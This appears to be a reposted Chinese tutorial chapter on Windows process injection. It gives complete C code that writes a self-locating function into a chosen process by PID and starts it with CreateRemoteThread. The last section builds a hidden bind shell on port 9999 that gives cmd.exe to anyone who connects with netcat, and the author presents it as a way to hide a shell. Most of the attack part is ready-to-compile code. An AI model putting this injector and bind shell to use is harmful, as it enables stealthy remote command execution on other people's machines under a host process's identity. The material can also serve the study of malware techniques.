1.12 进程注入ShellCode套接字

这篇具有很好参考价值的文章主要介绍了1.12 进程注入ShellCode套接字。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

在笔者前几篇文章中我们一直在探讨如何利用Metasploit这个渗透工具生成ShellCode以及如何将ShellCode注入到特定进程内,本章我们将自己实现一个正向ShellCodeShell,当进程被注入后,则我们可以通过利用NC等工具连接到被注入进程内,并以对方的权限及身份执行命令,该功能有利于于Shell的隐藏。本章的内容其原理与《运用C语言编写ShellCode代码》中所使用的原理保持一致,通过动态定位到我们所需的网络通信函数并以此来构建一个正向Shell,本章节内容对Metasploit工具生成的Shell原理的理解能够起到促进作用。

读者需要理解,套接字(socket)是计算机网络中一种特殊的文件,是网络通信中的一种技术,用于实现进程之间的通信和网络中数据的传输。在网络通信中,套接字就像一条传送数据的管道,负责数据的传输和接收。而socket(套接字)是在网络通信中最常用的一种通信协议,它定义了一组用于网络通信的API。通过使用socket,程序员可以在不同的计算机之间进行通信。读者可以将两者理解为一个意思。

1.12.1 读入Kernel32模块基址

为了能让读者更清晰的认识功能实现细节,首先笔者先来实现一个简单的读取特定模块内函数的入口地址,并输出该模块地址的功能,需要注意的是,在之前的文章中笔者已经介绍了这种读取技术,当时使用的是汇编版实现,由于需要自定位代码的支持导致汇编语言的实现过于繁琐,其实此类代码在应用层实现仅仅只需要调用GetProcAddress()即可获取到核心参数,其实先细节如下所示;

#include <iostream>
#include <Windows.h>

// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);

typedef struct _ShellBase
{
  // 针对Kernel32的操作
  HANDLE KernelHandle;        // 存储句柄
  char kernelstring[20];      // 存储字符串 kernel32.dll

  // 针对User32的操作
  HANDLE UserHandle;         // 存储句柄    
  char userstring[20];       // 存储字符串 user32.dll

  // 定义函数指针
  LOADLIBRARY KernelLoadLibrary;
  GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;

int main(int argc,char *argv[])
{
  ShellParametros Param;
  
  // 得到加载基地址的工具函数
  Param.KernelHandle = LoadLibrary("kernel32.dll");
  Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
  Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");
  
  printf("获取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);

  system("pause");
  return 0;
}

这段代码主要是定义了一个结构体ShellParametros,并初始化了其中的一些参数。该结构体中定义了两个HANDLE类型的变量KernelHandleUserHandle,分别用于存储kernel32.dlluser32.dll的句柄。同时,也定义了两个字符串数组kernelstringuserstring,用于存储对应的库名。

接下来,定义了两个函数指针类型LOADLIBRARYGETPROCADDRESS,分别用于后续的动态库加载和函数导出操作。

main函数中,首先初始化了ShellParametros结构体类型的变量Param。然后,调用LoadLibrary函数加载kernel32.dll库,并通过GetProcAddress函数分别获取LoadLibraryAGetProcAddress函数的地址,并将它们赋值给Param.KernelLoadLibraryParam.KernelGetProcAddress函数指针变量。最终打印出获取到的kernel32.dll的基地址,以及等待用户按下任意键退出程序。

该代码拆分来看,首先是入口处的结构体定义部分,这部分定义了一个结构体ShellParametros,其中包含了对于kernel32.dlluser32.dll库的操作的句柄和字符串,以及相关的函数指针类型LOADLIBRARYGETPROCADDRESS

// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);

typedef struct _ShellBase
{
    // 针对Kernel32的操作
    HANDLE KernelHandle;        // 存储句柄
    char kernelstring[20];      // 存储字符串 kernel32.dll

    // 针对User32的操作
    HANDLE UserHandle;         // 存储句柄    
    char userstring[20];       // 存储字符串 user32.dll

    // 定义函数指针
    LOADLIBRARY KernelLoadLibrary;
    GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;

而在主函数中,首先声明了一个结构体变量Param,然后调用LoadLibrary函数加载kernel32.dll库,将得到的句柄存储到Param.KernelHandle中。接着通过调用GetProcAddress函数获取LoadLibraryAGetProcAddress函数的地址,将得到的函数地址分别存储到Param.KernelLoadLibraryParam.KernelGetProcAddress中。最后通过printf函数打印出获取到的Kernel32.dll的基址。

int main(int argc, char *argv[])
{
    ShellParametros Param;

    // 得到加载基地址的工具函数
    Param.KernelHandle = LoadLibrary("kernel32.dll");
    Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
    Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");

    printf("获取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);
    printf("获取到KernelLoadLibrary = 0x%08X \n", Param.KernelLoadLibrary);
    printf("获取到GetProcAddress = 0x%08X \n", Param.KernelGetProcAddress);

    system("pause");
    return 0;
}

这段代码没有任何难度,相信读者能够理解其实先的核心原理,当读者运行此段代码,则会分别输出Kernel32.dllLoadLibraryAGetProcAddress这三个模块函数的基址,输出效果如下图所示;

1.12 进程注入ShellCode套接字

1.12.2 进程注入MsgBox弹窗

通过进程注入功能将一个具有自定位功能的函数的机器码注入到远程进程中,并运行输出一个弹窗,该功能的输出形式与前几章中的内容很相似,但却有本质的不同,首先前几章内容中我们注入的数据为纯粹的ShellCode代码,此类代码的缺陷在于一旦被生成则在注入时无法动态更改参数,而本章实现的注入技术则是动态填充内存并注入,从实用价值上来说本章中所演示的注入技术将更加通用及灵活。

动态弹窗的注入技术同样需要定义关键函数指针,如下将分别定义三个函数指针,这些API函数的函数指针类型定义:

  • LOADLIBRARY:LoadLibrary函数的函数指针类型,用于将动态链接库(DLL)加载到调用进程的地址空间中。
  • GETPROCADDRESS:GetProcAddress函数的函数指针类型,用于从DLL中检索导出函数或变量的地址。
  • MESSAGEBOX:MessageBox函数的函数指针类型,用于创建、显示和操作消息框。WINAPI调用约定指定了如何传递函数参数和清理堆栈。

这些函数指针类型通常用于动态加载DLL和运行时链接导出函数。通过使用这些函数指针,程序可以在运行时获取函数地址并动态调用它们。

// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);

// User32 中针对MessageBox的调用约定定义
typedef int(WINAPI* MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

接着我们需要定义一个ShellParametros结构体,该结构体的作用是用与传递参数到子线程MyShell(ShellParametros* ptr)中以供其使用,当然读者也可以使用普通变量形式,只是普通变量在参数传递时没有传递结构方便快捷,如下从结构中可看出,我们分别传递kernel32.dll,LoadLibrary,GetProcAddressMessageBoxA的函数地址,并附带有该函数弹窗User_MsgBox的提示信息;

typedef struct _ShellBase
{
  // 针对Kernel32的操作
  HANDLE Kernel32Base;
  char KernelString[20]; // kernel32.dll
  
  LOADLIBRARY Kernel_LoadLibrary;
  GETPROCADDRESS Kernel_GetProcAddress;

  // 针对User32的操作
  HANDLE User32Base;
  char UserString[20];   // 存储 user32.dll 字符串
  char User_MsgBox[20];  // 存储 MessageBoxA 字符串

  // 输出一段话
  char Text[32];

}ShellParametros;

接着就是关于__stdcall MyShell(ShellParametros*);函数的封装,这是一个用于远程线程的函数定义,函数名为MyShell,采用__stdcall调用约定。该函数的参数是一个名为ptr的指向ShellParametros结构体的指针。

函数的实现包括以下步骤:

  • 1.通过调用ptr->Kernel_LoadLibrary函数动态加载指定的Kernel32User32库,并将它们的句柄保存在ptr->Kernel32Baseptr->User32Base变量中。
  • 1.使用 ptr->Kernel_GetProcAddress 函数获取 User32 库中名为 ptr->User_MsgBox 的导出函数的地址,并将其转换为 MESSAGEBOX 函数指针类型的变量 msgbox
  • 1.调用 msgbox 函数,显示 ptr->Text 变量中保存的文本内容。

该函数的作用是在远程线程中动态加载Kernel32User32库,并调用User32库中的MessageBox函数显示指定的文本内容。

void __stdcall MyShell(ShellParametros*);

// 定义远程线程函数
void __stdcall MyShell(ShellParametros* ptr)
{
  ptr->Kernel32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->KernelString);
  ptr->User32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->UserString);

  // printf("动态获取到Kernel32基地址 = %x \n", ptr->Kernel32Base);
  // printf("动态获取到User32基地址 = %x \n", ptr->User32Base);

  // MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");
  MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->Kernel_GetProcAddress)((HINSTANCE)ptr->User32Base, ptr->User_MsgBox);
  
  //printf("MessageBox 基地址 = %x \n", msgbox);
  msgbox(0, ptr->Text, 0, 0);
}

最后我们来看一下在主函数中我们需要做什么,在主函数中通过GetProcAddress函数分别得到我们所需要的函数入口地址,并通过调用strcpy函数分别将所需参数写出到ShellParametros结构体中保存,当一切准备就绪再通过OpenProcess打开远程进程,并设置一段读写执行内存空间,并调用WriteProcessMemoryMyShell函数写出到该内存中保存,最后调用CreateRemoteThread开辟远程线程,执行弹窗功能;

这段代码主要包括以下步骤:

  • 1.定义了一个ShellParametros类型的变量Param和一个指向ShellParametros结构体的指针remote,并声明了一个HANDLE类型的变量hProcess和一个void*类型的变量p
  • 2.使用LoadLibraryGetProcAddress函数获取Kernel32库中的LoadLibraryGetProcAddress函数的地址,并将其保存到Param结构体的相应字段中。
  • 3.分别将 kernel32.dlluser32.dll 的文件名字符串保存到 Param 结构体的相应字段中,并将需要注入的代码函数名和文本字符串分别保存到 Param 结构体的相应字段中。
  • 4.使用 OpenProcess 函数打开指定 PID 的进程,并分别使用 VirtualAllocEx 函数在该进程中分配内存空间,分别保存注入代码和 Param 结构体的数据。
  • 5.使用 WriteProcessMemory 函数将注入代码和 Param 结构体的数据写入到指定进程中的内存空间中。
  • 6.使用 CreateRemoteThread 函数创建一个远程线程,将注入代码的地址和 Param 结构体的地址传递给远程线程,并在指定进程中执行注入的代码。

代码的作用是在指定进程中注入代码,并调用该代码中的 MyShell 函数,该函数将动态加载 Kernel32User32 库,并调用 User32 库中的 MessageBox 函数显示指定的文本内容。

int main(int argc, char* argv[])
{
    ShellParametros Param, *remote = NULL;
    HANDLE hProcess;
    void* p = NULL;

    // 进程PID
    int ProcessID = 4016;

    // 得到加载基地址的工具函数
    Param.Kernel32Base = LoadLibrary("kernel32.dll");
    Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA");
    Param.Kernel_GetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");
    // printf("获取到Kernel32.dll = %x", Param.KernelHandle);

    // 分别获取Kernel32与User32的对应字符串
    strcpy(Param.KernelString, "kernel32.dll");
    strcpy(Param.UserString, "user32.dll");

    strcpy(Param.User_MsgBox, "MessageBoxA");
    strcpy(Param.Text, "hello lyshark");

    // 根据PID注入代码到指定进程中
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
    p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    remote = (ShellParametros*)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE);

    WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
    WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0);
    CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);

    // MyShell(&Param);
    return 0;
}

至此读者可以将上述代码编译下来,但需要注意的是,由于我们采用了动态生成ShellCode的功能,所以在使用此类代码是应关闭编译环境中的DEP及ASLR机制,否则由于地址的动态变化我们的代码将无法成功定位函数入口,也就无法注入Shell;

DEP(Data Execution Prevention)保护是一种防止攻击者在内存中执行恶意代码的技术。它通过将内存中的数据和代码区分开来,从而使得攻击者无法在数据区执行代码。DEP保护通过硬件和软件两种方式来实现。硬件实现通过CPU硬件中的NX位,禁止在数据区执行代码。软件实现通过操作系统内核检查每个进程中的内存页面的属性,禁止在非执行属性(NX)页面上执行代码。

ASLR(Address Space Layout Randomization)是一种防止攻击者利用缓冲区溢出等漏洞攻击的技术。它通过在每次程序运行时随机地分配内存地址,使得攻击者难以确定内存地址的位置,从而难以实现攻击。ASLR可以在操作系统内核、编译器和二进制代码等多个层面实现,如在编译时生成随机堆栈和堆地址、加载时随机化内存基地址等。

这两种技术都可以增强操作系统的安全性,防止恶意代码的攻击和利用。DEP保护主要针对代码执行方面,ASLR则主要针对代码和数据在内存中的分布方面。同时,两者也有一些弱点和缺陷,例如DEP保护可以被一些攻击技术绕过,ASLR的随机性可能会被暴力破解或者信息泄露等方式破坏。因此,在实际应用中需要综合考虑多种安全技术,以提高系统的安全性。

1.12 进程注入ShellCode套接字

修改int ProcessID并改为被注入进程的PID=4016,然后直接运行注入程序,则读者会看到被注入进程弹出了一个MessageBox提示框,则说名我们的自定义Shell已经注入成功并运行了;

1.12 进程注入ShellCode套接字

1.12.3 进程注入MyShell正向Shell

经过前面两个小案例的总结读者应该能够理解如何自己编写一个动态ShellCode注入软件了,但是上述提到的这些功能并不具备真正的意义,而本章将继续延申,并实现一种可被连接的正向ShellShell,在此案例中读者需要理解一种绑定技术,在默认情况下,Windows系统中的每一个进程都存在标准输入、输出和错误流的匿名管道,而cmd.exe进程同样存在这三种管道,要实现正向Shell,一般而言攻击者会创建一个监听指定端口的网络套接字,并将其绑定到一个命令行解释器(如 cmd.exe)的标准输入和输出流上,这样攻击者即可通过这个管道来使用远程的CMD命令行,并以此达到控制对方的目的。

将CMD绑定到套接字上通常涉及以下步骤:

  • 创建一个监听套接字,以便在客户端连接之前等待连接。监听套接字可以是TCP或UDP类型。
  • 调用bind()函数将监听套接字绑定到本地IP地址和端口上。这是让客户端知道要连接哪个地址和端口的关键步骤。
  • 调用listen()函数将监听套接字转换为被动套接字,并设置等待连接的队列的最大长度。
  • 调用accept()函数来接受客户端连接,这将创建一个新的套接字,它与客户端套接字相关联。
  • 调用CreateProcess()函数启动cmd.exe进程,并将标准输入、输出和错误流重定向到新创建的套接字上。

首先我们需要定义所需要调用的函数指针,下方代码定义了一组函数指针,每个函数指针都指向一个API函数,包括 LoadLibrary、GetProcAddress、Bind、Accept、Listen、WSAStartup、WSASocket、WSAConnect 和 CreateProcess。这些函数与动态链接库、套接字通信、网络编程、创建进程等有关。

#include <iostream>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

// 定义各种指针变量
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE, LPCSTR);

typedef int (WINAPI* BIND) (SOCKET, const struct sockaddr*, int);
typedef SOCKET(WINAPI* ACCEPT) (SOCKET, struct sockaddr*, int*);
typedef int (WINAPI* LISTEN) (SOCKET, int);
typedef int (WINAPI* WSASTARTUP) (WORD, LPWSADATA);
typedef SOCKET(WINAPI* WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WINAPI* WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
typedef BOOL(WINAPI* CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL,DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);

接着我们需要在原始ShellParametros中进行扩充,根据所需函数的多少来定义承载该函数内存地址的指针类型;

typedef struct
{
  HANDLE          KernelHandle;
  char            kernelstring[20];        // 存储kernel32.dll字符串
  char            CreateProcessstring[20]; // 存放函数名字字符串
  LOADLIBRARY     KernelLoadLibrary;
  GETPROCADDRESS  KernelGetProcAddress;
  CREATEPROCESS   KernelCreateProcess;

  HANDLE      WSAHandle;
  char        wsastring[20];
  char        wsastartupstring[20];
  char        WSASocketString[20];
  char        WSAConnectstring[20];
  char        bindstring[20];
  char        acceptstring[10];
  char        listenstring[10];
  
  WSASTARTUP  ShellWsaStartup;
  ACCEPT      ShellAccept;
  BIND        ShellBind;
  WSACONNECT  ShellWsaConnect;
  WSASOCKET   ShellWSASocket;
  LISTEN      ShellListen;

  unsigned short port;
  char cmd[255];
} PARAMETROS;

接着再来看核心MyShellShell实现函数,如下代码实现了一个远程Shell,通过动态链接库实现对API函数的调用。

首先,通过调用 LoadLibraryGetProcAddress 函数,获取到 ws2.dllkernel32.dll 中的函数地址,分别是 WSAStartup、WSASocket、WsaConnect、Bind、Accept、Listen、CreateProcess。

然后,通过调用 WSAStartup 函数初始化套接字编程,创建一个套接字,并绑定在一个端口。通过 Listen 函数监听连接请求,并使用 Accept 函数接收连接请求。

当有连接请求时,使用 CreateProcess 函数创建一个进程,并将标准输入、输出和错误重定向到网络套接字,实现远程 Shell。

// 调用的远程Shell代码
void __stdcall MyShell(PARAMETROS* ptr)
{
  STARTUPINFO si;
  struct sockaddr_in sa;
  PROCESS_INFORMATION pi;
  int s, n;
  WSADATA HWSAdata;

  // 通过GetProcAddress获取到ws2.dll中的所有函数地址
  ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring);
  ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring);
  ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString);
  ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring);
  ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring);
  ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring);
  ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);

  // 通过GetProcAddress获取到kernel32.dll中的所有函数地址
  ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
  ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring);
  ptr->ShellWsaStartup(0x101, &HWSAdata);
  
  s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
  sa.sin_family = AF_INET;
  sa.sin_port = ptr->port;
  sa.sin_addr.s_addr = 0;
  ptr->ShellBind(s, (struct sockaddr*)&sa, 16);
  ptr->ShellListen(s, 1);

  while (1)
  {
    n = ptr->ShellAccept(s, (struct sockaddr*)&sa, NULL);
    si.cb = sizeof(si);
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES; // 0x101
    si.hStdInput = si.hStdOutput = si.hStdError = (void*)n;
    si.lpDesktop = si.lpTitle = (char*)0x0000;
    si.lpReserved2 = NULL;
    ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi);
  }
}

最后再来看一下实现调用的主函数,代码中通过argv[1]也就是命令行参数传递,并绑定到(unsigned short)9999端口上,通过GetProcAddress依次获取所需函数内存地址并使用strcpy初始化结构体PARAMETROS,最后直接调用CreateRemoteThread实现线程Shell反弹。

  • 通过 LoadLibrary 和 GetProcAddress 函数获取到 kernel32.dll 中 LoadLibrary 和 GetProcAddress 函数的地址。然后,通过 strcpy 函数初始化一个 PARAMETROS 结构体,并填充该结构体的各个字段。
  • 通过 OpenProcess 函数打开目标进程,使用 VirtualAllocEx 函数在目标进程中分配内存,并使用 WriteProcessMemory 函数将代码和参数复制到目标进程的内存中。
  • 通过 CreateRemoteThread 函数在目标进程中创建一个线程,并将线程的入口点设置为 MyShell 函数,这样就实现了进程注入。
int main(int argc, char* argv[])
{
  void* p = NULL;
  HANDLE hProcess;
  PARAMETROS parametros, * remote;
    
  if (argc == 2)
  {
    int PID = atoi(argv[1]);
    memset((void*)&parametros, 0, sizeof(PARAMETROS));
    strncpy(parametros.cmd, "cmd", sizeof("cmd") - 1);
    parametros.port = htons((unsigned short)9999);

    printf("[-] PID = %d \n", PID);
    // 获取到动态链接库加载函数地址
    parametros.KernelHandle = LoadLibrary("kernel32.dll");
    parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA");
    parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");

    // 拷贝 winsock 字符串
    strcpy(parametros.wsastring, "ws2_32.dll");
    strcpy(parametros.wsastartupstring, "WSAStartup");
    strcpy(parametros.WSASocketString, "WSASocketW");
    strcpy(parametros.WSAConnectstring, "WSAConnect");
    strcpy(parametros.bindstring, "bind");
    strcpy(parametros.acceptstring, "accept");
    strcpy(parametros.listenstring, "listen");

    // 拷贝 kernel32 字符串
    strcpy(parametros.kernelstring, "kernel32.dll");
    strcpy(parametros.CreateProcessstring, "CreateProcessA");

    // 开始注入代码
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    remote = (PARAMETROS*)VirtualAllocEx(hProcess, 0, sizeof(parametros), MEM_COMMIT, PAGE_READWRITE);

    WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
    WriteProcessMemory(hProcess, remote, &parametros, sizeof(PARAMETROS), 0);
    CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);
    // CreateRemoteThread(hProcess, 0, 0, (DWORD(WINAPI *)(void *)) p, remote, 0, 0);
    printf("[+] 已注入进程 %d \n", PID);
  }
  return 0;
}

编译上述代码片段,并找到对应进程PID,通过参数MyShell.exe 8624传入被注入进程PID号,当注入成功后,会提示进程请求联网,此时一个不具备网络通信功能的进程,因我们注入了ShllShell,则自然就具备了网络通信的能力,如下图所示;

1.12 进程注入ShellCode套接字

此时读者可下载32位版本的NC,通过使用执行命令nc [远程IP地址] [端口]连接到进程内部;

小提示:Netcat是一款网络工具,也称为nc工具,可以在不同的计算机之间进行数据传输。它可以在命令行中使用,并支持TCP/IP和UDP协议,其被誉为黑客界的瑞士军刀,是每个安全从业者不可或缺的利器。
官方网站:https://eternallybored.org/misc/netcat/

1.12 进程注入ShellCode套接字

当连接到进程内部则会反弹一个CMDShell此时在该CMD下的所有操作都会被标记为宿主进程的操作。文章来源地址https://www.toymoban.com/news/detail-687316.html

到了这里,关于1.12 进程注入ShellCode套接字的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 计算机网络套接字编程实验-TCP多进程并发服务器程序与单进程客户端程序(简单回声)

    1.实验系列 ·Linux NAP-Linux网络应用编程系列 2.实验目的 ·理解多进程(Multiprocess)相关基本概念,理解父子进程之间的关系与差异,熟练掌握基于fork()的多进程编程模式; ·理解僵尸进程产生原理,能基于|sigaction()或signal(),使用waitpid()规避僵尸进程产生; ·

    2024年02月12日
    浏览(46)
  • [Linux] 网络编程 - 初见TCP套接字编程: 实现简单的单进程、多进程、多线程、线程池tcp服务器

    网络的上一篇文章, 我们介绍了网络变成的一些重要的概念, 以及 UDP套接字的编程演示. 还实现了一个简单更简陋的UDP公共聊天室. [Linux] 网络编程 - 初见UDP套接字编程: 网络编程部分相关概念、TCP、UDP协议基本特点、网络字节序、socket接口使用、简单的UDP网络及聊天室实现…

    2024年02月16日
    浏览(65)
  • 「网络编程」第二讲:socket套接字(四 - 完结)_ Linux任务管理与守护进程 | TCP协议通讯流程

    「前言」文章是关于网络编程的socket套接字方面的,上一篇是网络编程socket套接字(三),这篇续上篇文章的内容,下面开始讲解!  「归属专栏」网络编程 「主页链接」个人主页 「笔者」枫叶先生(fy) 「枫叶先生有点文青病」「句子分享」 Time goes on and on, never to an 

    2024年02月10日
    浏览(64)
  • 网络编程套接字 | UDP套接字

    前面的文章中我们叙述了网络编程套接字的一些预备知识点,从本文开始我们就将开始UDP套接字的编写。本文中的服务端与客户端都是在阿里云的云服务器进行编写与测试的。 在v1的版本中我们先来使用一下前面讲过得一些接口,简单的构建一个udp服务器: 然后运行上述的程

    2024年02月09日
    浏览(99)
  • 套接字通信(附带单线程TCP套接字通信代码)

    1. 概念 1.1 局域网和广域网 局域网(LAN)和广域网(WAN)是两种不同范围的计算机网络,它们用于连接多台计算机以实现数据共享和通信。 局域网(LAN): 定义: 局域网是一个较小范围内的网络,通常限定在某个地理区域,比如一个办公室、学校或者家庭。 范围: LAN 的范

    2024年01月21日
    浏览(46)
  • 网络编程之 Socket 套接字(使用数据报套接字和流套接字分别实现一个小程序(附源码))

    网络编程是指网络上的主机,通过不同的进程,以编程的方式实现 网络通信(或称为网络数据传输) 只要满足不同的进程就可以进行通信,所以即便是在同一个主机,只要不同的进程,基于网络传输数据,也属于网络编程 在一次网络传输中: 发送端: 数据的 发送方进程

    2024年02月03日
    浏览(62)
  • 【JavaEE】网络编程之TCP套接字、UDP套接字

    目录 1.网络编程的基本概念 1.1为什么需要网络编程  1.2服务端与用户端 1.3网络编程五元组  1.4套接字的概念 2.UDP套接字编程 2.1UDP套接字的特点  2.2UDP套接字API 2.2.1DatagramSocket类 2.2.2DatagramPacket类  2.2.3基于UDP的回显程序 2.2.4基于UDP的单词查询  3.TCP套接字编程 3.1TCP套接字的特

    2023年04月20日
    浏览(74)
  • 【JaveEE】网络编程之TCP套接字、UDP套接字

    目录 1.网络编程的基本概念 1.1为什么需要网络编程  1.2服务端与用户端 1.3网络编程五元组  1.4套接字的概念 2.UDP套接字编程 2.1UDP套接字的特点  2.2UDP套接字API 2.2.1DatagramSocket类 2.2.2DatagramPacket类  2.2.3基于UDP的回显程序 2.2.4基于UDP的单词查询  3.TCP套接字编程 3.1TCP套接字的特

    2023年04月13日
    浏览(168)
  • 网络编程套接字(3)——Java数据报套接字(UDP协议)

    目录 一、Java数据报套接字通信模型 二、UDP数据报套接字编程 1、DatagramSocket         (1)DatagramSocket构造方法         (2)DatagramSocket方法 2、DatagramPacket         (1)DatagramPacket构造方法         (2)DatagramPacket方法 3、InetSocketAddress 三、代码示例:回显服务

    2024年03月12日
    浏览(98)
  • 【C/C++套接字编程】套接字的基本概念与基础语法

    TCP/UDP实验为牵引,学习套接字编程的相关知识,再进一步深化对TCP/UDP的理解 目录 前言 Socket编程语法 1. 套接字及创建 什么是套接字? 创建套接字 2. 端口绑定 3. 收发信息 与recv()函数的比较: 与send()函数的比较: 编程实例  总结 系列博客 【C/C++套接字编程】TCP协议通信的

    2024年02月09日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包